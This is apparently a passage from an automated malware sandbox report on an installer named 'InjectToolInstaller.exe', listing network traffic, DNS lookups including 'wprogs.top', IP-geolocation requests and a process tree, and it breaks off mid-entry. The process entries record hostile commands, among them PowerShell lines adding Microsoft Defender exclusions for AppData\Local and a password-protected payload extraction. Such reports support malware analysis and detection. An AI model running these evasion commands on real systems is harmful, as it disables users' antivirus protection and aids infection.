Mar 29, 2024 11:05:00.389055967 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.389080048 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.389106035 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:05:00.389132977 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:05:00.436219931 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.436314106 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:05:00.574414015 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.574444056 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.574512005 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:05:00.574542999 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.574589968 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:05:00.574632883 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.574676991 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:05:00.574755907 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.574800968 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:05:00.574846029 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.574892998 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:05:00.574980974 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.575026035 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:05:00.575079918 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.575126886 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:05:00.575165033 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.575217009 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:05:00.575287104 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.575335026 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:05:00.575448990 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.575567961 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.575709105 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.575834990 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.576021910 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.576117039 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.576282978 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.576404095 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.576515913 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.576668978 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.576809883 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.576968908 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.577174902 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.577269077 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.577313900 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.577358007 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.577390909 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.577435017 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.578017950 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.622700930 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.760982990 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.760993958 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.760998964 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.761008978 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.761044979 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.761127949 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.761224031 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:00.761430979 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:02.403960943 CET	49170	80	192.168.2.22	5.161.74.235
Mar 29, 2024 11:05:05.876012087 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:06.085558891 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:05:06.234369993 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:06.234447002 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:05:08.409974098 CET	49170	80	192.168.2.22	5.161.74.235
Mar 29, 2024 11:05:20.423238993 CET	49171	443	192.168.2.22	5.161.74.235
Mar 29, 2024 11:05:20.423274994 CET	443	49171	5.161.74.235	192.168.2.22
Mar 29, 2024 11:05:20.423325062 CET	49171	443	192.168.2.22	5.161.74.235
Mar 29, 2024 11:05:20.425102949 CET	49171	443	192.168.2.22	5.161.74.235
Mar 29, 2024 11:05:20.425112009 CET	443	49171	5.161.74.235	192.168.2.22
Mar 29, 2024 11:05:20.884392023 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:20.884597063 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:05:21.124738932 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:44.962013006 CET	49171	443	192.168.2.22	5.161.74.235
Mar 29, 2024 11:05:47.971874952 CET	49167	54151	192.168.2.22	116.203.183.140
Mar 29, 2024 11:05:48.162522078 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:50.884249926 CET	54151	49167	116.203.183.140	192.168.2.22
Mar 29, 2024 11:05:50.884428024 CET	49167	54151	192.168.2.22	116.203.183.140

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 29, 2024 11:04:51.374102116 CET	56475	53	192.168.2.22	8.8.8.8
Mar 29, 2024 11:04:51.473998070 CET	53	56475	8.8.8.8	192.168.2.22
Mar 29, 2024 11:04:51.575311899 CET	49384	53	192.168.2.22	8.8.8.8
Mar 29, 2024 11:04:51.675381899 CET	53	49384	8.8.8.8	192.168.2.22
Mar 29, 2024 11:04:52.230626106 CET	54842	53	192.168.2.22	8.8.8.8
Mar 29, 2024 11:04:52.339054108 CET	53	54842	8.8.8.8	192.168.2.22
Mar 29, 2024 11:04:52.341716051 CET	58105	53	192.168.2.22	8.8.8.8
Mar 29, 2024 11:04:52.450659037 CET	53	58105	8.8.8.8	192.168.2.22
Mar 29, 2024 11:04:59.285448074 CET	64928	53	192.168.2.22	8.8.8.8
Mar 29, 2024 11:04:59.399408102 CET	53	64928	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 29, 2024 11:04:51.374102116 CET	192.168.2.22	8.8.8.8	0x5899	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Mar 29, 2024 11:04:51.575311899 CET	192.168.2.22	8.8.8.8	0xb66f	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Mar 29, 2024 11:04:52.230626106 CET	192.168.2.22	8.8.8.8	0xd8af	Standard query (0)	db-ip.com	A (IP address)	IN (0x0001)	false
Mar 29, 2024 11:04:52.341716051 CET	192.168.2.22	8.8.8.8	0xeb02	Standard query (0)	db-ip.com	A (IP address)	IN (0x0001)	false
Mar 29, 2024 11:04:59.285448074 CET	192.168.2.22	8.8.8.8	0xbc9d	Standard query (0)	wprogs.top	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Mar 29, 2024 11:04:51.473998070 CET	8.8.8.8	192.168.2.22	0x5899	No error (0)	ipinfo.io	34.117.186.192	A (IP address)	IN (0x0001)	false
Mar 29, 2024 11:04:51.675381899 CET	8.8.8.8	192.168.2.22	0xb66f	No error (0)	ipinfo.io	34.117.186.192	A (IP address)	IN (0x0001)	false
Mar 29, 2024 11:04:52.339054108 CET	8.8.8.8	192.168.2.22	0xd8af	No error (0)	db-ip.com	104.26.4.15	A (IP address)	IN (0x0001)	false
Mar 29, 2024 11:04:52.339054108 CET	8.8.8.8	192.168.2.22	0xd8af	No error (0)	db-ip.com	104.26.5.15	A (IP address)	IN (0x0001)	false
Mar 29, 2024 11:04:52.339054108 CET	8.8.8.8	192.168.2.22	0xd8af	No error (0)	db-ip.com	172.67.75.166	A (IP address)	IN (0x0001)	false
Mar 29, 2024 11:04:52.450659037 CET	8.8.8.8	192.168.2.22	0xeb02	No error (0)	db-ip.com	104.26.4.15	A (IP address)	IN (0x0001)	false
Mar 29, 2024 11:04:52.450659037 CET	8.8.8.8	192.168.2.22	0xeb02	No error (0)	db-ip.com	172.67.75.166	A (IP address)	IN (0x0001)	false
Mar 29, 2024 11:04:52.450659037 CET	8.8.8.8	192.168.2.22	0xeb02	No error (0)	db-ip.com	104.26.5.15	A (IP address)	IN (0x0001)	false
Mar 29, 2024 11:04:59.399408102 CET	8.8.8.8	192.168.2.22	0xbc9d	No error (0)	wprogs.top	5.161.74.235	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

https:

ipinfo.io

db-ip.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49168	34.117.186.192	443	3632	C:\Users\user\AppData\Local\Temp\insta313tg.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-29 10:04:52 UTC	238	OUT	GET /widget/demo/102.165.48.43 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: ipinfo.io
2024-03-29 10:04:52 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 29 Mar 2024 10:04:52 GMT content-type: application/json; charset=utf-8 Content-Length: 1021 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 1 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-29 10:04:52 UTC	738	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 31 30 32 2e 31 36 35 2e 34 38 2e 34 33 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 31 30 32 2e 31 36 35 2e 34 38 2e 34 33 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 57 61 73 68 69 6e 67 74 6f 6e 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 57 61 73 68 69 6e 67 74 6f 6e 2c 20 44 2e 43 2e 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 33 38 2e 38 39 35 31 2c 2d 37 37 2e 30 33 36 34 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 31 37 34 20 43 6f 67 65 6e 74 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 73 22 2c 0a 20 20 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 32 30 30 30 34 22 2c 0a 20 20 20 20 22 74 69 6d 65 Data Ascii: { "input": "102.165.48.43", "data": { "ip": "102.165.48.43", "city": "Washington", "region": "Washington, D.C.", "country": "US", "loc": "38.8951,-77.0364", "org": "AS174 Cogent Communications", "postal": "20004", "time
2024-03-29 10:04:52 UTC	283	IN	Data Raw: 22 3a 20 7b 0a 20 20 20 20 20 20 22 61 64 64 72 65 73 73 22 3a 20 22 47 72 6f 75 6e 64 20 46 6c 6f 6f 72 2c 20 34 20 56 69 63 74 6f 72 69 61 20 53 71 75 61 72 65 2c 20 53 74 20 41 6c 62 61 6e 73 2c 20 48 65 72 74 66 6f 72 64 73 68 69 72 65 2c 20 4c 6f 6e 64 6f 6e 2c 20 55 6e 69 74 65 64 20 4b 69 6e 67 64 6f 6d 22 2c 0a 20 20 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 47 42 22 2c 0a 20 20 20 20 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 69 70 78 6f 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 45 64 76 69 6e 61 73 20 52 61 63 6b 61 75 73 6b 61 73 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 31 30 32 2e 31 36 35 2e 30 2e 30 2f 31 38 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 74 65 6c 3a 2b Data Ascii: ": { "address": "Ground Floor, 4 Victoria Square, St Albans, Hertfordshire, London, United Kingdom", "country": "GB", "email": "abuse@ipxo.com", "name": "Edvinas Rackauskas", "network": "102.165.0.0/18", "phone": "tel:+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49169	104.26.4.15	443	3632	C:\Users\user\AppData\Local\Temp\insta313tg.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-29 10:04:52 UTC	262	OUT	GET /demo/home.php?s=102.165.48.43 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: db-ip.com
2024-03-29 10:04:53 UTC	656	IN	HTTP/1.1 200 OK Date: Fri, 29 Mar 2024 10:04:53 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: AC47DE06:D2EA_93878F2E:0050_66069245_5D39FB9:4F34 x-iplb-instance: 59215 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=crsVf5xbTdz8wWPTyOB%2FynS14LwRONsHXf8Q5GGT1bnW8z%2BdKnieY0aQSVU5o5hYoNbA%2F1xWKSNSG8SsFjUoTE%2BzEFIpnuoUNMcbsYIWbn81YlL0xGs02c0u0A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86bf09cf8a9b2892-IAD alt-svc: h3=":443"; ma=86400
2024-03-29 10:04:53 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-03-29 10:04:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	11:03:44
Start date:	29/03/2024
Path:	C:\Users\user\Desktop\InjectToolInstaller.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\InjectToolInstaller.exe"
Imagebase:	0x13a0000
File size:	57'739'400 bytes
MD5 hash:	86DAF2965A3AC93C7119B5ECCBECA489
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:04:06
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\7zS48C4B291\run.bat" "
Imagebase:	0x4aa30000
File size:	302'592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:04:07
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /K C:\Users\user\AppData\Local\Temp\installer.bat
Imagebase:	0x4aa30000
File size:	302'592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	11:04:08
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /K C:\Users\user\AppData\Local\Temp\1.bat
Imagebase:	0x4aa30000
File size:	302'592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	11:04:08
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 2
Imagebase:	0xa30000
File size:	15'360 bytes
MD5 hash:	6242E3D67787CCBF4E06AD2982853144
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	11:04:08
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):	true
Commandline:	NET FILE
Imagebase:	0x740000
File size:	46'080 bytes
MD5 hash:	B9A4DAC2192FD78CDA097BFA79F6E7B2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	11:04:08
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\net1 FILE
Imagebase:	0x220000
File size:	142'336 bytes
MD5 hash:	2041012726EF7C95ED51C15C56545A7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	11:04:09
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 2
Imagebase:	0x170000
File size:	15'360 bytes
MD5 hash:	6242E3D67787CCBF4E06AD2982853144
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	11:04:09
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /C "C:\Users\user\AppData\Local\Temp\1.bat"
Imagebase:	0x4aa30000
File size:	302'592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	11:04:10
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):	true
Commandline:	NET FILE
Imagebase:	0x810000
File size:	46'080 bytes
MD5 hash:	B9A4DAC2192FD78CDA097BFA79F6E7B2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	11:04:10
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\net1 FILE
Imagebase:	0x540000
File size:	142'336 bytes
MD5 hash:	2041012726EF7C95ED51C15C56545A7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	11:04:11
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 2
Imagebase:	0x880000
File size:	15'360 bytes
MD5 hash:	6242E3D67787CCBF4E06AD2982853144
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	11:04:11
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Users\user\Appdata\Local" -Force"
Imagebase:	0x1360000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	11:04:12
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 2
Imagebase:	0xe20000
File size:	15'360 bytes
MD5 hash:	6242E3D67787CCBF4E06AD2982853144
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	11:04:12
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell.exe -command "Add-MpPreference -AttackSurfaceReductionOnlyExclusions "C:\Users\user\Appdata\Local" -Force"
Imagebase:	0x1360000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	11:04:13
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 2
Imagebase:	0x7f0000
File size:	15'360 bytes
MD5 hash:	6242E3D67787CCBF4E06AD2982853144
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	11:04:14
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 3
Imagebase:	0x7f0000
File size:	15'360 bytes
MD5 hash:	6242E3D67787CCBF4E06AD2982853144
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	11:04:15
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 2
Imagebase:	0x7f0000
File size:	15'360 bytes
MD5 hash:	6242E3D67787CCBF4E06AD2982853144
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	11:04:18
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 2
Imagebase:	0x7f0000
File size:	15'360 bytes
MD5 hash:	6242E3D67787CCBF4E06AD2982853144
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	11:04:18
Start date:	29/03/2024
Path:	C:\Users\user\AppData\Local\Temp\data.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\data.exe -p"hty6u57tfg" -d"C:\Users\user\AppData\Local\Temp\"
Imagebase:	0x13f290000
File size:	3'523'422 bytes
MD5 hash:	CF515BE4BDA9A66C9FDBEDF7D22CCC59
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	11:04:19
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 2
Imagebase:	0xb20000
File size:	15'360 bytes
MD5 hash:	6242E3D67787CCBF4E06AD2982853144
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	11:04:20
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 2
Imagebase:	0x30000
File size:	15'360 bytes
MD5 hash:	6242E3D67787CCBF4E06AD2982853144
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	11:04:22
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 2
Imagebase:	0x680000
File size:	15'360 bytes
MD5 hash:	6242E3D67787CCBF4E06AD2982853144
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	11:04:23
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 2
Imagebase:	0x940000
File size:	15'360 bytes
MD5 hash:	6242E3D67787CCBF4E06AD2982853144
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	11:04:24
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 2
Imagebase:	0xa00000
File size:	15'360 bytes
MD5 hash:	6242E3D67787CCBF4E06AD2982853144
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	11:04:25
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 2
Imagebase:	0x600000
File size:	15'360 bytes
MD5 hash:	6242E3D67787CCBF4E06AD2982853144
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	11:04:27
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 2
Imagebase:	0xff0b0000
File size:	15'360 bytes
MD5 hash:	6242E3D67787CCBF4E06AD2982853144
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	11:04:28
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 2
Imagebase:	0x410000
File size:	15'360 bytes
MD5 hash:	6242E3D67787CCBF4E06AD2982853144
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	11:04:29
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 2
Imagebase:	0xd30000
File size:	15'360 bytes
MD5 hash:	6242E3D67787CCBF4E06AD2982853144
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	11:04:30
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 2
Imagebase:	0xf50000
File size:	15'360 bytes
MD5 hash:	6242E3D67787CCBF4E06AD2982853144
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	11:04:31
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 2
Imagebase:	0xa0000
File size:	15'360 bytes
MD5 hash:	6242E3D67787CCBF4E06AD2982853144
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	11:04:32
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 2
Imagebase:	0x580000
File size:	15'360 bytes
MD5 hash:	6242E3D67787CCBF4E06AD2982853144
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	11:04:34
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\PING.EXE
